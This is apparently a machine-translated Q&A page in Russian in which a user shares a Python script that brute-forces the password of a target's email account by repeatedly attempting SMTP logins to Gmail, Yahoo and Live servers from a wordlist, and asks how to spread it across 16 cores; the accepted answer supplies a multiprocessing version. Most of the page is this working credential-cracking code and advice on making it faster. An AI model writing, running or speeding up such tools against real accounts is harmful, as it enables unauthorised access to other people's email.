Python делится процессом или как сделать эффективную грубую силу

Мне нужно разделить этот процесс на 16 процессов. Я покупаю для него плату Parallela, которая имеет 16 ядер и работает на 90gflops.

Я не собираюсь делать ничего противозаконного. Просто чтобы доказать мою точку зрения, что использование пароля с 7-значными целыми числами слишком небезопасно для организации. Далее я уже решил это, я просто хочу лучший метод.

Это основной рабочий скрипт для него:

import smtplib
service = raw_input("Enter smtp service : ")
if service == "live":
        smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
        smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
        smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
enter = raw_input("Enter text file name : ")
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
passwfile = open(enter, 'r')

for password in passwfile.readlines():
        password = password.strip()
        try:
                smtpserver.login(user, password)

                print "[+] Cracked password----> %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                smtpserver.ehlo()
                smtpserver.starttls()
                pass

Пока попробовал:

import smtplib
from threading import Thread
service = raw_input("Enter smtp service : ")
if service == "live":
        smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
        smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
        smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)

user = raw_input("Enter the target's email address: ")
def tenth():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('10.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def att():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('9.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def atc():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('8.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def atk():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('7.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def attack():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('6.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def tr():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('5.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def br():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('4.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def bru():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('3.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def brute():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('2.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def arrgh():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('1.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
thread1 = Thread(target = arrgh)
thread1.start()
thread2 = Thread(target = brute)
thread2.start()
thread3 = Thread(target = bru)
thread3.start()
thread4 = Thread(target = br)
thread4.start()
thread5 = Thread(target = tr)
thread5.start()
thread6 = Thread(target = att)
thread6.start()
thread7 = Thread(target = atc)
thread7.start()
thread8 = Thread(target = atk)
thread8.start()
thread9 = Thread(target = attack)
thread9.start()
thread10 = Thread(target = tenth)
thread10.start()

Что это делает, это открыть несколько текстовых файлов. Я хочу, чтобы он мог открыть один текстовый файл и запустить несколько процессов из этого самого.

1 ответ

Решение

Прежде всего, если вы не I/O, а CPU связаны, вы должны использовать multiprocessing вместо threading, Последний не использует более одного ядра, он просто имеет несколько потоков управления.


Во-вторых, поскольку вы используете py2.7, вы можете попробовать pypy. Он повторяет код Python намного быстрее, чем стандартный CPython.


В-третьих, в идеале вы должны использовать пул рабочих, каждый из которых получает рабочие элементы из очереди. Это автоматически дает вам балансировку нагрузки и другие функции. В вашем случае вы должны создать глобальный пул и заставить функции работать с ним, т.е. использовать multiprocessing.Pool и один из его методов map.

Вы, вероятно, должны иметь такую ​​настройку:

import smtplib
import multiprocessing    

def test_passwords(passwords):
  smtpserver = smtplib.SMTP("totally.privat.server.com", 587)
  smtpserver.ehlo()
  smtpserver.starttls()
  for password in passwords:
    password = password.strip()
    try:
      smtpserver.login(user, password)
      print "[+] Cracked password----> %s" % password
      break
    except smtplib.SMTPAuthenticationError:
      smtpserver.ehlo()
      smtpserver.starttls()

workers = multiprocessing.Pool()

def try_my_own_passwords(workers):
   worker.map_async(test_passwords, open("my_pws.txt").readlines(), 100)
Другие вопросы по тегам